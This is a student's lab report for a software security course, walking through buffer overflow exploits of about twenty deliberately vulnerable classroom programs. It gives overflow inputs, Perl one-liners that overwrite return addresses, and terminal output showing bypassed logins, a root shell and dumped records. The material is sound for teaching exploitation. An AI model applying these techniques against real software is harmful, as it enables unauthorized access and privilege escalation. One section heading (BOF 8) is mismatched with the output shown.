

Robert Rash  
CSE 5359  
Dr. Estes  
8 March 2018

## Lab 2 - Buffer overflow exploits

---

### General Approach

Step zero for this set of vulnerable programs is to read the `README`, if it has been provided. In the majority of cases, it provides much needed clarification as to the end goal of the exploit, which is much better than trying to take a guess at what the intended exploit may accomplish.

After this, I open three terminal windows: one to read the code (Vim), one to interact with the program in `gdb`, and another to interact with the program in the shell.

Once my setup is established, I read through the code looking for a few things: the area(s) of code relevant to the intended exploit, buffers or other variables related to those areas (these are typically of type `char*`), and then methods of manipulating those variables with user input.

When I've found a set of variables to manipulate, I open the program in `gdb`, set a breakpoint at an appropriate location in the code, run the program, insert `'A'` s to fill up a given buffer (but not overflow it), continue execution until reaching the breakpoint, and use the `x/nx $sp` function to begin mapping the memory of a certain function. For both adjacent-data overwrites and return address overwrites, I can at this point begin to piece together the number of bytes needed to reach those areas in memory. Once this has been done, in the case of adjacent-data overwrites, I input  $n$  bytes (usually `'A'` s) followed by the critical value. In the case of return address overwrites, I find the address of the desired function in `gdb` by running `print &<function_name>`, and follow the  $n$  bytes with the desired address written in little endian byte notation (e.g. `0xbffff340 => \x40\xf3\xff\xbf` ).

Once the exploit has been found in `gdb`, I run the same exploit in the terminal window and take a screenshot of the successful exploit.

### Exploits

#### BOF 1

**Stated goal:** earn money while answering all questions incorrectly.

```

File Edit View Search Terminal Help

root@softsec:~/Downloads/StudentBOFs/BOF1# ./lab1
*****
* Welcome to: WINNING WITH MATHS *
*****

Instructions:
1. Enter your full name
2. Enter your bank account number
3. Answer correctly the THREE questions
4. WIN and receive up to 300,000 dollars in your bank account

*****
PLEASE: Don't use a calculator.
If you can't answer the questions mentally..
You don't deserve the money. So don't try to cheat, we'll find out
*****

Enter your name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~~~~~
Enter up to 16 digits of your bank account number:
BBBBBBBBBBBBBBBB
1.- What's the square root of 3456?
0
Wrong answer :( Keep trying.

2.- Which is the 76th prime number?
0
Wrong answer :( Keep trying.

3.- 8787 * 32 - 154 + 24 = ?
0
Wrong answer :( Keep trying.

CONGRATULATIONS: You won $2122219073, you will receive them soon
root@softsec:~/Downloads/StudentBOFs/BOF1# import ~/Downloads/StudentBOFs/BOF1/crack.png

```

The exploit for this involves overwriting the `currentMoney`. As `name` can be manipulated with user input, it means that it is the likely attack surface. As the output above shows, when the program prompts the user for their name, we can input whatever we want. Variables `int currentMoney`, `char bankAccount[16]`, and `char name[35]` are adjacent, so this exploit is as simple as writing 51 one-byte values ( $35 + 16 = 51$ ) to the name buffer to reach the `currentMoney` variable in memory. At this point, we can input arbitrary ASCII values to overwrite `currentMoney`. In my case, I chose the printable ASCII value with the highest equivalent decimal value: `'~'` which is 126 decimal.

## BOF 2

**Stated goal:** "find a way to beat [Bowser] before he depletes your health to 0."

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF2# ./test
Get ready to fight Bowser! Kill him before he knocks you out!!!
Choose your attack:
1:Jump 2:Punch 3:Kick 4:Throw Luigi
AAAA~~~~~
Attack did 2122219134 damage, leaving Bowser with -2122218878
Bowser Attacks with a FIREBALL!!
Bowser's Attack did 50 damage, leaving You with 50
You Won the Fight!
root@softsec:~/Downloads/StudentBOFs/BOF2# import ~/Downloads/StudentBOFs/BOF2/crack.png
```

This exploit can be accomplished by overflowing the `attack` buffer, which is only 4 bytes long. Since it's adjacent to the `att` variable, which is a number later subtracted from Bowser's health, it is possible to overflow `attack` and write a very large value into `att`. As the output above shows, a successful exploit (in this case inputting four `'A'` s and eight `'~'` s) can cause Bowser to end up with negative health after the first turn of the game, allowing the user to win.

## BOF 3

This exploit requires shellcode injection, presumably to receive privileged shell access. Despite my best efforts, I was unable to achieve this exploit. There are only 40 bytes available to perform shellcode injection and execution, meaning there are very few arrangements in which to insert a NOP sled, shellcode, and then a return address inside the NOP sled.

## BOF 4

**Stated goal:** "change the money you have." I interpret this to mean change the money you have without giving a "danation."

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF4# ./donate
You have $101, do you want to donate? (Y or N y or n 1 or 0)
AAAAAAAAAAAAAAAAAAAA~
Donate of $0 accepted.
Your money now is $2122203457 Thank You!

root@softsec:~/Downloads/StudentBOFs/BOF4# import ~/Downloads/StudentBOFs/BOF4/
donate      donate.cpp      .donate.cpp.swp  README.txt
root@softsec:~/Downloads/StudentBOFs/BOF4# import ~/Downloads/StudentBOFs/BOF4/crack.png
```

I achieved this exploit by overflowing the `reply` buffer into the (nearly) adjacent `money` variable. In my experience, a successful exploit required inputting 16 `'A'` s and then 4 `'~'` s. This resulted in a donation of \$0 while receiving \$2122203356 in return.

## BOF 5

I was unable to accomplish the intended exploit in this program.

## BOF 6

**Stated goal:** enter the `Prohibited()` function, which never gets called in the other sections of the program.

```

File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF6# ls
total 48K
drwxr-xr-x  2 root root 4.0K Mar  6 17:04 .
drwxr-xr-x 26 root root 4.0K Feb 21 10:38 ..
-rw-r--r--  1 root root 6.1K Feb 20 18:23 .DS_Store
-rwxr-xr-x  1 root root 9.7K Mar  6 15:59 Earn_10k_game
-rwxr-xr-x  1 root root 412 Feb 18 23:40 Earn_10k_game.c
-rw-r--r--  1 root root  40 Mar  6 17:04 input
-rw-r--r--  1 root root 168 Mar  6 14:31 Pipfile
-rw-r--r--  1 root root 1.2K Mar  6 14:31 Pipfile.lock
-rwxr-xr-x  1 root root 262 Feb 18 23:40 README.txt
root@softsec:~/Downloads/StudentBOFs/BOF6# perl -e 'print "A"x36 . "\xf3\x05\x40\x00"' > input
root@softsec:~/Downloads/StudentBOFs/BOF6# perl -e 'print "A"x32 . "\xf3\x05\x40\x00"' > input
root@softsec:~/Downloads/StudentBOFs/BOF6# ./Earn_10k_game < input
Enter some text:
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA00@

Congratulations!
You have entered in the secret function!
you have earned $10K

Segmentation fault
root@softsec:~/Downloads/StudentBOFs/BOF6# import ~/Downloads/StudentBOFs/BOF6/crack.png

```

I successfully exploited this vulnerability by overflowing the `buffer` variable to the extent that the saved return address gets overwritten with the desired memory address. Using `gdb`, I found the number of bytes needed to reach the area of memory where the saved return address is stored (32 bytes in this case) as well as the memory address of the `Prohibited()` function (`0x004005f3` in my case). I then used Perl to write 32 bytes and the desired memory address in little endian hex-byte notation to an input file. Using redirection, the file is used as input for the program. As the output shows, the desired function is executed, at the cost of not being able to return to `main()` after the function finishes execution.

**N.B.** This file originally came with a `'$'` in the file name. As most file systems are not friendly with these special characters in filenames, I removed the offending character before compiling the program. No code was altered.

## BOF 7

**Stated goal:** purchase items and be refunded more money than the the user started with.

```

File Edit View Search Terminal Help

Enter the number that represents the fruit you wish to purchase or 5 to end transaction.
5
Are you sure you want to quit?(1 for yes or 2 for no): AAAAAAAAA~
You entered: AAAAAAAAA~
126

Welcome to the Fruit Stand
1  Grapes      $2
2  Mangoes    $3
3  Apples     $4
4  Blueberries $5

Your Current Credit is: $126
You have
0 Grapes
0 Mangoes
0 Apples
0 Blueberries

Enter the number that represents the fruit you wish to purchase or 5 to end transaction.
5
Are you sure you want to quit?(1 for yes or 2 for no): 1
You entered: 1
126

*****
===== Thank you for shopping at the Fruit Stand! =====
===== $126 will be returned to your account. =====
*****

program Closed

root@softsec:~/Downloads/StudentBOFs/BOF7# import ~/Downloads/StudentBOFs/BOF7/crack.png

```

The successful exploit for this program involved overflowing the `quit` buffer into the `wallet` variable. The user can manipulate this buffer when opting to quit the application, where the program prompts the user to confirm whether they wish to quit. In my case, overwriting the `wallet` value was as simple as entering 10 'A' s followed by a '~', at which point I had bought nothing but set my wallet as containing \$126, as the program's exiting statement can show.

## BOF 8

**Stated goal:** "hit the < jackpot() > function."



```

File Edit View Search Terminal Help
-rw-r--r-- 1 root root 581 Feb 21 08:21 README.md
root@softsec:~/Downloads/StudentBOFs/BOF9# ./bufferOverflow
-----
Welcome to The Bookstore!
-----
Available books:
-----
1. How to Kill a Mockingbird
By: Harper Lee
Price: $12.99
-----
2. Gone with the Wind
By: Margaret Mitchell
Price: $14.99
-----
3. East of Eden
By: John Steinbeck
Price: $9.99
-----
4. The Hunger Games
By: Suzanne Collins
Price: $16.99
-----
Please enter number of book to add to cart: 3
Please enter your first name: AAAAAAAAA000
Please enter your last name: Please enter your full address: Shipping and handling will be $2.50.
Please enter your credit card number: Final price: $0
Thank you for your purchase!
root@softsec:~/Downloads/StudentBOFs/BOF9# import ~/Downloads/StudentBOFs/BOF9/crack.png

```

This is a simple overwrite of an adjacent value. The user has control over the `name` variable, which by means of `strcat` and the `purchaseInfo` buffer is essentially adjacent to the `price` variable. `price` is of type `float` and is used to determine the final price. I initially thought this was going to be difficult due to the nature in which floating point numbers are represented in memory; however, it ended up being as easy as entering 8 `'A'` s to overflow the `purchaseInfo` buffer and then entering three `'0'` s to force the final price to be zero.

## BOF 10

**Stated goal:** "escalate the privilege of any normal user to admin level, such that logging in lists ALL transactions, including for users other than the one you logged in as."



```

File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF10# ./bin/main
Welcome to Riverbanks Credit Union
=====
Username: mia
Password: passwordAAAAAAA~

Welcome, Mia Schultz!

*ADMIN MODE: VIEWING ALL TRANSACTIONS*

```

User	Cost	Vendor
John Appleseed	456.77	Innojam
John Appleseed	99.78	Vimbo
John Appleseed	327.66	Fivespan
John Appleseed	22.56	Thoughtstorm
John Appleseed	221.06	Jabbertype
Mia Schultz	238.40	Skynoodle
Mia Schultz	116.38	Zoomzone
Mia Schultz	28.39	Gabspot
Mia Schultz	345.16	Voonte
Mia Schultz	439.63	Meeveo
Ali Khoury	447.64	Thoughtblab
Ali Khoury	120.12	Oloo
Ali Khoury	482.56	Brainsphere
Ali Khoury	339.62	Vinte
Ali Khoury	292.81	Skyvu
Davi Silva	151.05	Photolist
Davi Silva	109.06	Jetwire
Davi Silva	491.19	Babblestorm
Davi Silva	127.57	Oyoyo
Davi Silva	215.12	Layo
Pilar Markel	93.22	Jetpulse
Pilar Markel	490.52	Geevee
Pilar Markel	108.15	Quaxo
Pilar Markel	277.01	Abatz
Pilar Markel	57.95	Photobug

```

root@softsec:~/Downloads/StudentBOFs/BOF10# import ~/Downloads/StudentBOFs/BOF10/crack.png

```

The end goal of the exploit can be achieved by simply overwriting the `is_admin` flag as any number greater than zero. This can be done in the `authenticate()` function, where the user can enter in a username and password. In my case, I used the credentials for the user "mia", and when prompted for the password simply wrote the given password, enough bytes to fill out the rest of the buffer, and then a high-decimal-value ASCII value. Once this happens, not only do the credentials allow the user to successfully authenticate, the `is_admin` flag is set such that the program displays all transactions for all users.

## BOF 11

**Stated goal:** none

Reading through the given source code, I interpret the end goal as being to dump the `map` containing all user IDs and their associated usernames.

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentB0Fs/B0F11# ls
total 200K
drwxr-xr-x  2 root root 4.0K Mar  8 14:41 .
drwxr-xr-x 26 root root 4.0K Mar  7 23:26 ..
-rw-r--r--  1 root root 6.1K Feb 20 18:30 .DS_Store
-rwxr-xr-x  1 root root 165K Feb 22 21:47 lab1
-rw-r--r--  1 root root 1.8K Feb 20 18:26 lab1.cpp
-rw-r--r--  1 root root 12K Mar  8 00:58 .lab1.cpp.swp
root@softsec:~/Downloads/StudentB0Fs/B0F11# ./lab1
Welcome to Wholesome Bank's Employee Access Portal! We hope you have a pleasant experience with us. Please enter your employee ID:
Enter 9 digit ID: 00000001AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA^A

00000001AAAAAAAA
Incorrect ID entered. Try Again
00000001=>manager1
00000002=>iTmanager
00000003=>maryemp
Please Enter User Name:
^C
root@softsec:~/Downloads/StudentB0Fs/B0F11# import ~/Downloads/StudentB0Fs/B0F11/crack.png
```

This exploit requires overwriting the `dump` variable, the beginning of which lies 128 bytes away from the manipulable variable, `idBuff` . So as to attempt to pass the initial user ID check, the first part of the exploit contains a given user ID--in my case I used `000000001` . I then input 128 bytes followed by `<Ctrl>-a` , which is a control character equivalent to `\x01` and which will set `dump` to 1. As the output shows, while the user ID did not pass muster, `dump` was successfully replaced, and the user store was displayed.

**BOF 12**

**Stated goal:** access the `fmenu()` function, which uploads malware to eCorp's servers, wiping all credit.

```
File Edit View Search Terminal Help
Welcome to E Corp!
We change the world.

Username:
joseph.green
Password:
AAAAAAAAAAAAAAAAAAAAAAAH
WellC0me Mr. R0BoT!
UPLOADING MALWARE
...
10%
...
20%
...
30%
...
40%
...
50%
...
60%
...
70%
...
80%
...
90%
...
100%
DONE. ALL CREDIT WIPED. SUCCESSSSSESESESESE.
root@softsec:~/Downloads/StudentBOFs/BOF12# import ~/Downloads/StudentBOFs/BOF12/crack.png
```

`fmenu()` is only called when `char status == 'H'`. `status` can be changed to `'H'` by overwriting `char auth` in the `check()` function, which insecurely takes user input. `auth` can be changed by overwriting the `password` and `buf` buffers, which are size 20 and 5, respectively. So, for the password input, I simply entered  $20 + 5 = 25$  bytes followed by a single `'H'`, resulting in the malware being uploaded to eCorp's servers.

## BOF 13

**Stated goal:** while the given `README` has a stated purpose, I'm not really sure how it fits with the given source code. Reading the source code, I feel like the goal is to overwrite the `get_rekt` variable so as to output the database login information.

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentB0Fs/B0F13# ./wallet `perl -e 'print "A"x260 . "d"'`
Welcome to E-Safety!
You are using E-Safety Wallet!
-----
-----
Your card has been added to your wallet!
Do you want to check your wallet?
1. Yes
2. No
1
Attempting to check your wallet...
=====
=====
DB Server: 35.172.14.197
DB User: chidabest
DB Pass: chisoftsec
Database access granted
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to
use near ''AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' at line 1
root@softsec:~/Downloads/StudentB0Fs/B0F13# import ~/Downloads/StudentB0Fs/B0F13/crack.png
```

The manipulable buffer is of size 256 and is adjacent to the `get_rekt` variable. I found that in memory the size of the buffer was actually allocated at 260 bytes, so I used Perl to enter in 260 bytes followed by the ASCII character whose decimal value is equivalent to the password indicated in the source code, which is `'d'`. The successful output is shown above.

BOF 14

**Stated goal:** "send out a real inbound missile alert to the residents of Hawaii using the provided CLI"

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentB0Fs/B0F14# ./hawaiiimissile

*****
HAWAII EMERGENCY MANAGEMENT AGENCY CLI
*****

Select Action by Digit:
1 - Inbound Missile [DRILL]
2 - Inbound Missile Alert
0 - Exit
> 2

2 - Inbound Missile Alert
[* AUTH REQUIRED *]
Passcode: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^A
AUTH FAILED

BALLISTIC MISSILE THREAT INBOUND TO
HAWAII. SEEK IMMEDIATE SHELTER. THIS IS
NOT A DRILL.

Exiting...
root@softsec:~/Downloads/StudentB0Fs/B0F14# import ~/Downloads/StudentB0Fs/B0F14/crack.png
```

A successful exploit of this program involves overwriting the `status` variable located adjacent to the `passcode` buffer inside the `real_missile_alert()` function. Since `passcode` is directly manipulable, it is possible to exploit this by entering 56 `'A'` s followed by the control character `<Ctrl>-a` , which is equivalent to `\x01` . `status` is returned no matter what, so this successfully sends out a real inbound missile alert.

## BOF 15

**Stated goal:** none

Reading the code, it's obvious that a successful exploit overwrites the `Boolean` variable in order to "log in."

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF15# ./Telcome

Enter last four digits of your Phone Number
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sorry can not verified.
Welcome Back .
root@softsec:~/Downloads/StudentBOFs/BOF15# import ~/Downloads/StudentBOFs/BOF15/crack.png
```

This is about as simple as buffer overflows can get. Success requires entering 300 `'A'` s so as to overflow the `Buffer` buffer followed by a single `'T'` to set `Boolean` and "log in" despite having incorrect credentials.

## BOF 16

*This was my own submission.*

## BOF 17

**Stated goal:** "find a way to manipulate the app into printing out all the credit card information that it has."

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF17# ./equifax
Welcome to Equifax
Enter your username: AAAAAAAAAAAAAAAAAAAAAAA^A
Enter your password: AAAAAAAAAAAAAAAAAAAAAAA^A
Your credit card number is: 3781 457886 79824
Enter the secret code: AAAAAAAAAAAAAAAAAAAT
3781 457886 79824
4916 8773 3638 7796
4024 0071 4667 6456
5589 0489 8070 4842
5484 4237 7456 2647
5557 5494 5584 8202
5557 5494 5584 8202
3412 302232 34031
3738 770451 16019
3710 255858 61923
root@softsec:~/Downloads/StudentBOFs/BOF17# import ~/Downloads/StudentBOFs/BOF17/crack.png
```

It takes two buffer overflow exploits to reach the end goal: one to overwrite `creditCardCount` and reach the `echo()` function, and another to overwrite `correct` in the `echo()` function with the value `'T'` so as to print out all the credit card info.

**Step 1** -- The user input in `main()` only ever writes to the `username` buffer, so in my example I simply put in the same data for both username and password prompts: 25 `'A'` s to fill up the buffer followed by `<Ctrl>-a` to set `creditCardCount` to 1.

**Step 2** -- `correct` can be overwritten by filling the `buffer` buffer with 20 `'A'` s and then a single `'T'` .

The successful exploit can be seen in the screenshot above.

## BOF 18

**Stated goal:** "register product regardless of correct key."

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF18# perl -e 'print "A"x32 . "\x1c\x08\x40\x00"' > input
root@softsec:~/Downloads/StudentBOFs/BOF18# ./lab1 < input
welcome XYZ Software
Please enter product serial key to register the product
Enter the key:Registration successful
Segmentation fault
root@softsec:~/Downloads/StudentBOFs/BOF18# import ~/Downloads/StudentBOFs/BOF18/crack.png
```

It's impossible to reach the `validate()` function without already knowing the correct key, so this is a return address overwrite overflow. Inputting 32 bytes followed by the address of the `validate()` function successfully overflows the `key` buffer and points `%eip` to the `validate()` function, bypassing any sort of true validation.

## BOF 19

**Stated goal:** "cause the program to validate the serial number, even though a correct serial number is not entered" (huh, déjà vu).

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF19# perl -e 'print "A"x36 . "\x08\x07\x40\x00"' > input
root@softsec:~/Downloads/StudentBOFs/BOF19# ./serial < input
Enter a serial number.
The serial number is valid!
root@softsec:~/Downloads/StudentBOFs/BOF19# import ~/Downloads/StudentBOFs/BOF19/crack.png
```

Once again, this involves overwriting a return address. This can be done by inputting 36 bytes followed by the address of the `do_valid_stuff()` function to overflow the `serial` buffer located in the `validate_serial()` function and cause instruction flow to go to the `do_valid_stuff()` function.

## BOF 20

**Stated goal:** "access the administrator menu without having the proper credentials to do so."



```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF20# perl -e 'print "12345678". "\x0D" . "password" . "\x0D" . "3" . "A"x12 . "\x3d\x10\x40\x00"' > input
root@softsec:~/Downloads/StudentBOFs/BOF20# ./mysmu2 < input
Welcome to my.SMUv2!Please log in using you ID number
Enter your Password:
Please select what you would like to do:
1. View GPA
2. Order Transcript
3. Log Out
You are now logged in as an admin! If this were a real program, you could change your GPA from here. nice hacking!
Segmentation fault
root@softsec:~/Downloads/StudentBOFs/BOF20# import ~/Downloads/StudentBOFs/BOF20/crack.png
```

This program can be exploited by first using given credentials to login as a student user (each separated by `\x0D` bytes to simulate pressing the `Enter` key), writing a few bytes to both break out of the `while` loop and fill up space, and then overwriting the return address with that of the `adminMenu()` function.

## BOF 21

**Stated goal:** none

The source code reveals that the objective is to achieve authentication and get a shell.

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentBOFs/BOF21# ./lab1
Welcome to the admins dashboard

Please enter user name:
AAAAAAAAAA^A
Please enter password:
AAAAAAAAAA
Super user access granted. Welcome to the system.
# exit
root@softsec:~/Downloads/StudentBOFs/BOF21# import ~/Downloads/StudentBOFs/BOF21/crack.png
```

The successful exploit overwrites the `cUsername` buffer and sets the adjacent `authentication` variable equal to 1. I achieved this by filling the buffer with 10 bytes and then the control character equivalent to 1. The `cPassword` variable has nothing to do with the exploit, so I just put in some arbitrary bytes.

**N.B.** this program would not compile due to illegal characters, which in my research is often found with copy-pasted code. Using a solution found [here](#), I used the command

`iconv -f utf-8 -t ascii//translit lab1.cpp > lab1-out.cpp` to "strip out" the illegal characters without manually modifying the source code.

## BOF 22

**Stated goal:** none

Reading through the source code, it looks like the goal is to have the program display the password for the next session.

```
File Edit View Search Terminal Help
root@softsec:~/Downloads/StudentB0Fs/B0F22# ./Lab1
Hi, Welcome to Blockbuster's online movie rental website!
We have a wide variety of movies with their ratings available below:
1. The Bee Movie - PG
2. Monty Python and the Holy Grail - PG
3. Star Wars: Episode I - PG
4. The Shining - R
5. The Hangover - R

Please choose the first movie by choosing the associated number:
4
Since this is an R rated movie, you need to enter the password to prove you're an adult
Please enter the password:
AAAAAAAAAAAAAAAAAAAA^@T
Okay I'm sorry little child, but you need to find your parents.
The new password will be: KidsAreDumb
root@softsec:~/Downloads/StudentB0Fs/B0F22# import ~/Downloads/StudentB0Fs/B0F22/crack.png
```

The new password will only be displayed if `good == 'T'`, which is only true when the correct password has been entered and `good` is assigned as `'T'`. `good` can be overwritten by choosing an R-rated movie and then inputting 20 bytes followed by a null byte (here, `<Ctrl>-@`) followed by the desired `'T'` value. This does not let the user rent the current movie, but does allow the user to have the password for next time.

## BOF 23

*I skipped this program due to its complexity.*